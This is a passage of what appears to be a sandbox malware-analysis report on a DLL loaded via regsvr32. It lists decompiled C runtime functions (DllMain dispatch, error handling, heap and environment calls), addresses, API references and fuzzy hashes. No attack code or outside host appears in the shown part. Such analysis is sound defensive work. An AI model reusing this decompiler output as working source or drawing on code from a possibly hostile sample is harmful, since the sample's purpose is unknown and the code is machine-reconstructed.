					 *0x6daf4fdc = _t34 - 1;
					 *(_t82 - 0x1c) = 1;
					 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
					 *((char*)(_t82 - 0x20)) = E6DADA2FB();
					 *(_t82 - 4) = 1;
					__eflags =  *0x6daf4fb8 - 2;
					if( *0x6daf4fb8 != 2) {
						E6DADACAD(_t68, 1, __esi, 7);
						asm("int3");
						_push(0xc);
						_push(0x6daf2438);
						E6DADADD0(__ebx, 1, __esi);
						_t72 =  *(_t82 + 0xc);
						__eflags = _t72;
						if(_t72 != 0) {
							L9:
							 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
							__eflags = _t72 - 1;
							if(_t72 == 1) {
								L12:
								_t58 =  *(_t82 + 0x10);
								_t76 = E6DADAA7E( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
								 *(_t82 - 0x1c) = _t76;
								__eflags = _t76;
								if(_t76 != 0) {
									_t41 = E6DADA769(_t58, _t61, _t68, _t72, _t76,  *((intOrPtr*)(_t82 + 8)), _t72, _t58); // executed
									_t76 = _t41;
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t76;
									if(_t76 != 0) {
										goto L14;
									}
								}
							} else {
								__eflags = _t72 - 2;
								if(_t72 == 2) {
									goto L12;
								} else {
									_t58 =  *(_t82 + 0x10);
									L14:
									_push(_t58);
									_push(_t72);
									_push( *((intOrPtr*)(_t82 + 8)));
									_t42 = E6DADAEB0();
									_t76 = _t42;
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t72 - 1;
									if(_t72 == 1) {
										__eflags = _t76;
										if(_t76 == 0) {
											_push(_t58);
											_push(_t42);
											_push( *((intOrPtr*)(_t82 + 8)));
											_t45 = E6DADAEB0();
											__eflags = _t58;
											_t25 = _t58 != 0;
											__eflags = _t25;
											_push((_t45 & 0xffffff00 | _t25) & 0x000000ff);
											E6DADA8C3(_t58, _t68, _t72, _t76, _t25);
											_pop(_t61);
											E6DADAA7E( *((intOrPtr*)(_t82 + 8)), _t76, _t58);
										}
									}
									__eflags = _t72;
									if(_t72 == 0) {
										L19:
										_t76 = E6DADA769(_t58, _t61, _t68, _t72, _t76,  *((intOrPtr*)(_t82 + 8)), _t72, _t58);
										 *(_t82 - 0x1c) = _t76;
										__eflags = _t76;
										if(_t76 != 0) {
											_t76 = E6DADAA7E( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
											 *(_t82 - 0x1c) = _t76;
										}
									} else {
										__eflags = _t72 - 3;
										if(_t72 == 3) {
											goto L19;
										}
									}
								}
							}
							 *(_t82 - 4) = 0xfffffffe;
							_t40 = _t76;
						} else {
							__eflags =  *0x6daf4fdc - _t72; // 0x1
							if(__eflags > 0) {
								goto L9;
							} else {
								_t40 = 0;
							}
						}
						 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
						return _t40;
					} else {
						E6DADA3C6(__ebx, _t61, 1, __esi);
						E6DADAEC2();
						E6DADAF23();
						 *0x6daf4fb8 =  *0x6daf4fb8 & 0x00000000;
						 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
						E6DADA958();
						_t54 = E6DADA567( *((intOrPtr*)(_t82 + 8)), 0);
						asm("sbb esi, esi");
						_t80 =  ~(_t54 & 0x000000ff) & 1;
						__eflags = _t80;
						 *(_t82 - 0x1c) = _t80;
						 *(_t82 - 4) = 0xfffffffe;
						E6DADA965();
						_t56 = _t80;
						goto L4;
					}
				} else {
					_t56 = 0;
					L4:
					 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
					return _t56;
				}
			}

0x6dada8c3
0x6dada8c3
0x6dada8c5
0x6dada8ca
0x6dada8cf
0x6dada8d6
0x6dada8dd
0x6dada8e5
0x6dada8e8
0x6dada8f1
0x6dada8f4
0x6dada8f7
0x6dada8fe
0x6dada96d
0x6dada972
0x6dada973
0x6dada975
0x6dada97a
0x6dada97f
0x6dada982
0x6dada984
0x6dada995
0x6dada995
0x6dada999
0x6dada99c
0x6dada9a8
0x6dada9a8
0x6dada9b5
0x6dada9b7
0x6dada9ba
0x6dada9bc
0x6dada9c7
0x6dada9cc
0x6dada9ce
0x6dada9d1
0x6dada9d3
0x00000000
0x00000000
0x6dada9d3
0x6dada99e
0x6dada99e
0x6dada9a1
0x00000000
0x6dada9a3
0x6dada9a3
0x6dada9d9
0x6dada9d9
0x6dada9da
0x6dada9db
0x6dada9de
0x6dada9e3
0x6dada9e5
0x6dada9e8
0x6dada9eb
0x6dada9ed
0x6dada9ef
0x6dada9f1
0x6dada9f2
0x6dada9f3
0x6dada9f6
0x6dada9fb
0x6dada9fd
0x6dada9fd
0x6dadaa03
0x6dadaa04
0x6dadaa09
0x6dadaa0f
0x6dadaa0f
0x6dada9ef
0x6dadaa14
0x6dadaa16
0x6dadaa1d
0x6dadaa27
0x6dadaa29
0x6dadaa2c
0x6dadaa2e
0x6dadaa3a
0x6dadaa62
0x6dadaa62
0x6dadaa18
0x6dadaa18
0x6dadaa1b
0x00000000
0x00000000
0x6dadaa1b
0x6dadaa16
0x6dada9a1
0x6dadaa65
0x6dadaa6c
0x6dada986
0x6dada986
0x6dada98c
0x00000000
0x6dada98e
0x6dada98e
0x6dada98e
0x6dada98c
0x6dadaa71
0x6dadaa7d
0x6dada900
0x6dada900
0x6dada905
0x6dada90a
0x6dada90f
0x6dada916
0x6dada91a
0x6dada924
0x6dada930
0x6dada932
0x6dada932
0x6dada934
0x6dada937
0x6dada93e
0x6dada943
0x00000000
0x6dada943
0x6dada8d8
0x6dada8d8
0x6dada945
0x6dada948
0x6dada954
0x6dada954

APIs

__RTC_Initialize.LIBCMT ref: 6DADA90A
___scrt_uninitialize_crt.LIBCMT ref: 6DADA924

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 07db2cfebc414214277c945dc5a7da6d6b98db80098758575fc05a8a12cceabb
Instruction ID: 82afb24221d8b6fbda18eef9b2d511f7c57b912653e9511d817ef2f5940702c3
Opcode Fuzzy Hash: 07db2cfebc414214277c945dc5a7da6d6b98db80098758575fc05a8a12cceabb
Instruction Fuzzy Hash: 8F411672D0C716AFCBA18F95CA00F6E3677EFA5B64F068115E92867250D7308DC28FA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DADA973 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E6DADA973(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t24;
				signed int _t25;
				signed int _t26;
				signed int _t29;
				signed int _t35;
				void* _t37;
				void* _t40;
				signed int _t42;
				signed int _t45;
				void* _t47;
				void* _t52;

				_t40 = __edx;
				_push(0xc);
				_push(0x6daf2438);
				E6DADADD0(__ebx, __edi, __esi);
				_t42 =  *(_t47 + 0xc);
				if(_t42 != 0) {
					L3:
					 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
					__eflags = _t42 - 1;
					if(_t42 == 1) {
						L6:
						_t35 =  *(_t47 + 0x10);
						_t45 = E6DADAA7E( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							L16:
							 *(_t47 - 4) = 0xfffffffe;
							_t24 = _t45;
							L17:
							 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0x10));
							return _t24;
						}
						_t25 = E6DADA769(_t35, _t37, _t40, _t42, _t45,  *((intOrPtr*)(_t47 + 8)), _t42, _t35); // executed
						_t45 = _t25;
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							goto L16;
						}
						L8:
						_push(_t35);
						_push(_t42);
						_push( *((intOrPtr*)(_t47 + 8)));
						_t26 = E6DADAEB0();
						_t45 = _t26;
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t42 - 1;
						if(_t42 == 1) {
							__eflags = _t45;
							if(_t45 == 0) {
								_push(_t35);
								_push(_t26);
								_push( *((intOrPtr*)(_t47 + 8)));
								_t29 = E6DADAEB0();
								__eflags = _t35;
								_t14 = _t35 != 0;
								__eflags = _t14;
								_push((_t29 & 0xffffff00 | _t14) & 0x000000ff);
								E6DADA8C3(_t35, _t40, _t42, _t45, _t14);
								_pop(_t37);
								E6DADAA7E( *((intOrPtr*)(_t47 + 8)), _t45, _t35);
							}
						}
						__eflags = _t42;
						if(_t42 == 0) {
							L13:
							_t45 = E6DADA769(_t35, _t37, _t40, _t42, _t45,  *((intOrPtr*)(_t47 + 8)), _t42, _t35);
							 *(_t47 - 0x1c) = _t45;
							__eflags = _t45;
							if(_t45 != 0) {
								_t45 = E6DADAA7E( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
								 *(_t47 - 0x1c) = _t45;
							}
							goto L16;
						} else {
							__eflags = _t42 - 3;
							if(_t42 != 3) {
								goto L16;
							}
							goto L13;
						}
					}
					__eflags = _t42 - 2;
					if(_t42 == 2) {
						goto L6;
					}
					_t35 =  *(_t47 + 0x10);
					goto L8;
				}
				_t52 =  *0x6daf4fdc - _t42; // 0x1
				if(_t52 > 0) {
					goto L3;
				}
				_t24 = 0;
				goto L17;
			}

0x6dada973
0x6dada973
0x6dada975
0x6dada97a
0x6dada97f
0x6dada984
0x6dada995
0x6dada995
0x6dada999
0x6dada99c
0x6dada9a8
0x6dada9a8
0x6dada9b5
0x6dada9b7
0x6dada9ba
0x6dada9bc
0x6dadaa65
0x6dadaa65
0x6dadaa6c
0x6dadaa6e
0x6dadaa71
0x6dadaa7d
0x6dadaa7d
0x6dada9c7
0x6dada9cc
0x6dada9ce
0x6dada9d1
0x6dada9d3
0x00000000
0x00000000
0x6dada9d9
0x6dada9d9
0x6dada9da
0x6dada9db
0x6dada9de
0x6dada9e3
0x6dada9e5
0x6dada9e8
0x6dada9eb
0x6dada9ed
0x6dada9ef
0x6dada9f1
0x6dada9f2
0x6dada9f3
0x6dada9f6
0x6dada9fb
0x6dada9fd
0x6dada9fd
0x6dadaa03
0x6dadaa04
0x6dadaa09
0x6dadaa0f
0x6dadaa0f
0x6dada9ef
0x6dadaa14
0x6dadaa16
0x6dadaa1d
0x6dadaa27
0x6dadaa29
0x6dadaa2c
0x6dadaa2e
0x6dadaa3a
0x6dadaa62
0x6dadaa62
0x00000000
0x6dadaa18
0x6dadaa18
0x6dadaa1b
0x00000000
0x00000000
0x00000000
0x6dadaa1b
0x6dadaa16
0x6dada99e
0x6dada9a1
0x00000000
0x00000000
0x6dada9a3
0x00000000
0x6dada9a3
0x6dada986
0x6dada98c
0x00000000
0x00000000
0x6dada98e
0x00000000

APIs

dllmain_raw.LIBCMT ref: 6DADA9B0
dllmain_crt_dispatch.LIBCMT ref: 6DADA9C7
dllmain_raw.LIBCMT ref: 6DADAA0F
dllmain_crt_dispatch.LIBCMT ref: 6DADAA22
dllmain_raw.LIBCMT ref: 6DADAA35

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: be7e177fce8423c4788fd8f98bd5acfc7d469a05900ba0c895a994018cfe5bba
Instruction ID: 3cbd2b11d255f5675b04d376d65f4ba48f37be5104482adfbb7b65fd711d4ba4
Opcode Fuzzy Hash: be7e177fce8423c4788fd8f98bd5acfc7d469a05900ba0c895a994018cfe5bba
Instruction Fuzzy Hash: D4218676D0C616AFCBA18F55CA44E7F3A7BEB91B94F064615F92867220D7308D818FA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE0FC3 Relevance: 6.1, APIs: 4, Instructions: 69
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E6DAE0FC3(void* __ecx) {
				intOrPtr _t2;
				signed int _t3;
				signed int _t5;
				signed int _t13;
				signed int _t18;
				long _t21;

				_t21 = GetLastError();
				_t2 =  *0x6daf4110; // 0x7
				_t24 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E6DAE1409(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t5 = E6DAE10F8(1, 0x364); // executed
						_t18 = _t5;
						__eflags = _t18;
						if(__eflags != 0) {
							__eflags = E6DAE1409(__eflags,  *0x6daf4110, _t18);
							if(__eflags != 0) {
								E6DAE0C6E(_t18, 0x6daf583c);
								E6DAE10BE(0);
								goto L13;
							} else {
								_t13 = 0;
								E6DAE1409(__eflags,  *0x6daf4110, 0);
								_push(_t18);
								goto L9;
							}
						} else {
							_t13 = 0;
							__eflags = 0;
							E6DAE1409(0,  *0x6daf4110, 0);
							_push(0);
							L9:
							E6DAE10BE();
							goto L4;
						}
					}
				} else {
					_t18 = E6DAE13CA(_t24, _t2);
					if(_t18 == 0) {
						_t2 =  *0x6daf4110; // 0x7
						goto L6;
					} else {
						if(_t18 != 0xffffffff) {
							L13:
							_t13 = _t18;
						} else {
							L3:
							_t13 = 0;
							L4:
							_t18 = _t13;
						}
					}
				}
				SetLastError(_t21);
				asm("sbb edi, edi");
				return  ~_t18 & _t13;
			}

0x6dae0fce
0x6dae0fd0
0x6dae0fd5
0x6dae0fd8
0x6dae0ff6
0x6dae0ff9
0x6dae0ffe
0x6dae1000
0x00000000
0x6dae1002
0x6dae1009
0x6dae100e
0x6dae1012
0x6dae1014
0x6dae1039
0x6dae103b
0x6dae1054
0x6dae105b
0x00000000
0x6dae103d
0x6dae103d
0x6dae1046
0x6dae104b
0x00000000
0x6dae104b
0x6dae1016
0x6dae1016
0x6dae1016
0x6dae101f
0x6dae1024
0x6dae1025
0x6dae1025
0x00000000
0x6dae102a
0x6dae1014
0x6dae0fda
0x6dae0fe0
0x6dae0fe4
0x6dae0ff1
0x00000000
0x6dae0fe6
0x6dae0fe9
0x6dae1063
0x6dae1063
0x6dae0feb
0x6dae0feb
0x6dae0feb
0x6dae0fed
0x6dae0fed
0x6dae0fed
0x6dae0fe9
0x6dae0fe4
0x6dae1066
0x6dae106e
0x6dae1077

APIs

GetLastError.KERNEL32(?,?,?,6DAE02B7,6DAE4772,?,6DAE030E,?,00000004,?,?,?,?,6DADF737,?,?), ref: 6DAE0FC8
_free.LIBCMT ref: 6DAE1025
_free.LIBCMT ref: 6DAE105B
SetLastError.KERNEL32(00000000,00000007,000000FF,?,6DAE030E,?,00000004,?,?,?,?,6DADF737,?,?,00000004), ref: 6DAE1066

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 2c20abbce45b47985a7c782c5296005053f296a0a420819ceb61502f7356d67c
Instruction ID: c2920ca6e0234b74e3d5e9510964036e80153507b028d2a197729c3fbf7acca1
Opcode Fuzzy Hash: 2c20abbce45b47985a7c782c5296005053f296a0a420819ceb61502f7356d67c
Instruction Fuzzy Hash: B711E97660C2122AD7011779AE84F3B256DABC67F9B164624F234821C1EF618882F165

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE3F5C Relevance: 4.6, APIs: 3, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6DAE3F5C(void* __ecx) {
				intOrPtr _v8;
				intOrPtr _t7;
				void* _t8;
				void* _t13;
				void* _t24;
				WCHAR* _t26;

				_t26 = GetEnvironmentStringsW();
				if(_t26 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t17 = E6DAE3F25(_t26) - _t26 >> 1;
					_t7 = E6DAE3E6E(0, 0, _t26, E6DAE3F25(_t26) - _t26 >> 1, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t8 = E6DAE1AF9(_t7); // executed
						_t24 = _t8;
						if(_t24 == 0 || E6DAE3E6E(0, 0, _t26, _t17, _t24, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t24;
							_t24 = 0;
						}
						E6DAE10BE(_t24);
					}
				}
				if(_t26 != 0) {
					FreeEnvironmentStringsW(_t26);
				}
				return _t13;
			}

0x6dae3f6b
0x6dae3f71
0x6dae3fcc
0x6dae3fcc
0x6dae3f73
0x6dae3f81
0x6dae3f87
0x6dae3f8f
0x6dae3f94
0x00000000
0x6dae3f96
0x6dae3f97
0x6dae3f9c
0x6dae3fa1
0x6dae3fc1
0x6dae3fbb
0x6dae3fbb
0x6dae3fbd
0x6dae3fbd
0x6dae3fc4
0x6dae3fc9
0x6dae3f94
0x6dae3fd0
0x6dae3fd3
0x6dae3fd3
0x6dae3fdf

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6DAE3F65
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6DAE3FD3

Part of subcall function 6DAE3E6E: WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,00000001,6DAE1736,6DAE57F4,0000FDE9,00000000,?,?,?,6DAE556D,0000FDE9,00000000,?), ref: 6DAE3F1A

Part of subcall function 6DAE1AF9: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,6DAE4754,?,00000000,?,6DAE030E,?,00000004,?,?,?,?,6DADF737), ref: 6DAE1B2B

_free.LIBCMT ref: 6DAE3FC4

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$AllocateByteCharFreeHeapMultiWide_free
String ID:
API String ID: 2560199156-0
Opcode ID: 0b0f1a88485db546a64252d079812cf7211ae8b8a3df5c76ea7cce39d1f46769
Instruction ID: aaba1c34fdc39644c03ab30cb788d280fb0c46aa8e28e3367e05ef07f1855539
Opcode Fuzzy Hash: 0b0f1a88485db546a64252d079812cf7211ae8b8a3df5c76ea7cce39d1f46769
Instruction Fuzzy Hash: E501FC76A4F6127B671112BB0D88C7F5CBDDDC69D63050128BE50CB150EB50CC42F1B0

Uniqueness

Uniqueness Score: -1.00%

Function 6DABF752 Relevance: 3.8, APIs: 1, Instructions: 2548memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0000014E,00001000,00000004), ref: 6DABF76F

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2a2a5888fdf97f6e48e8ea6e1d98195518678c584160b759e2646afaa5e4b165
Instruction ID: 1baaed7663331417aa540e52f25b41154540a3f8b30ec99ddd913811f4bcc4d0
Opcode Fuzzy Hash: 2a2a5888fdf97f6e48e8ea6e1d98195518678c584160b759e2646afaa5e4b165
Instruction Fuzzy Hash: 1E631C709055299BDB68CF08CD90BEDBBB1BF84349F1481E9D50DAB346D734AAA1CF48

Uniqueness

Uniqueness Score: -1.00%

Function 6DAAAA02 Relevance: 3.6, APIs: 1, Instructions: 2380memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,000001A1,00001000,00000004), ref: 6DAAAA1C

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5ad6970cad47da00d09737cba748f622d5211453cd9ae14225583154a21e0d3a
Instruction ID: 69946432d0872d8f0f9e4a21b8f8916afb2b6a1da09da3f42ee9b101d25ad72e
Opcode Fuzzy Hash: 5ad6970cad47da00d09737cba748f622d5211453cd9ae14225583154a21e0d3a
Instruction Fuzzy Hash: B8631F709055299BDB64CF08CD90BDDBBB2EF84349F1482D9D50DAB346D734AAA1CF88

Uniqueness

Uniqueness Score: -1.00%

Function 6DADA7BC Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6DADA809

Part of subcall function 6DADAEB6: InitializeSListHead.KERNEL32(6DAF4FF0,6DADA813,6DAF23F0,00000010,6DADA7A4,?,?,?,6DADA9CC,?,00000001,?,?,00000001,?,6DAF2438), ref: 6DADAEBB

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6DADA873

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: e1d8aa479398456f1697000eeb6f92dc6b4236ef3c2cdf416ea2a13cf4b6e60f
Instruction ID: 75770fd360e2bae904bcf8ad0b067aaea0000a1116eba616da90750d18d4d971
Opcode Fuzzy Hash: e1d8aa479398456f1697000eeb6f92dc6b4236ef3c2cdf416ea2a13cf4b6e60f
Instruction Fuzzy Hash: EF21203610C7429EDB809BA89604FAC37B3AF2636DF258058CE86A71C1CF3541C2E625

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE58B3 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6DAE10F8: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6DAE100E,00000001,00000364,00000007,000000FF,?,6DAE030E,?,00000004,?,?,?), ref: 6DAE1139

_free.LIBCMT ref: 6DAE5922

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 2008b6b740e828f5b252f5276c686fd0b707e74ea0eb8aef96d5b7cf1afe7e2b
Instruction ID: bfc932d25f9c3a3d4129bbad1c7538641528c17911a2278ce524a972d7add176
Opcode Fuzzy Hash: 2008b6b740e828f5b252f5276c686fd0b707e74ea0eb8aef96d5b7cf1afe7e2b
Instruction Fuzzy Hash: A301497660C3566BC321CF69D8809E9FBA8FB053F0F150729E555B76C0E370A850DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE10F8 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6DAE100E,00000001,00000364,00000007,000000FF,?,6DAE030E,?,00000004,?,?,?), ref: 6DAE1139

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: df3ce990196123d2f0861324401f8021817f61c8e202437a61f7ff6b8b64a1e6
Instruction ID: 33d6f97df6e40e2de7d27e3bc67dac65a00dd410aa2b8d275efc21ca1377d01b
Opcode Fuzzy Hash: df3ce990196123d2f0861324401f8021817f61c8e202437a61f7ff6b8b64a1e6
Instruction Fuzzy Hash: 6CF0B43571D7355AEB511B66CC04B7A77A8AB426E0B05C029EC14D61C4DB20D880E6E1

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE1AF9 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000004,?,6DAE4754,?,00000000,?,6DAE030E,?,00000004,?,?,?,?,6DADF737), ref: 6DAE1B2B

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fb9894ccfaf224746cd365bf92d72a73978547fb7eecc47ba08a909d6d8713fe
Instruction ID: dd68faecf6763b4f82985dece285d0653edbd23ded0452a5c2d5884582b1da9c
Opcode Fuzzy Hash: fb9894ccfaf224746cd365bf92d72a73978547fb7eecc47ba08a909d6d8713fe
Instruction Fuzzy Hash: 2DE06D3565D3325BEB111B699D04BBA7A6CEB432E0F068160EDA4D6180FBA4C8D0E6E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6DA91300 Relevance: 12.8, Strings: 10, Instructions: 317
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6DA91300(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char _v5;
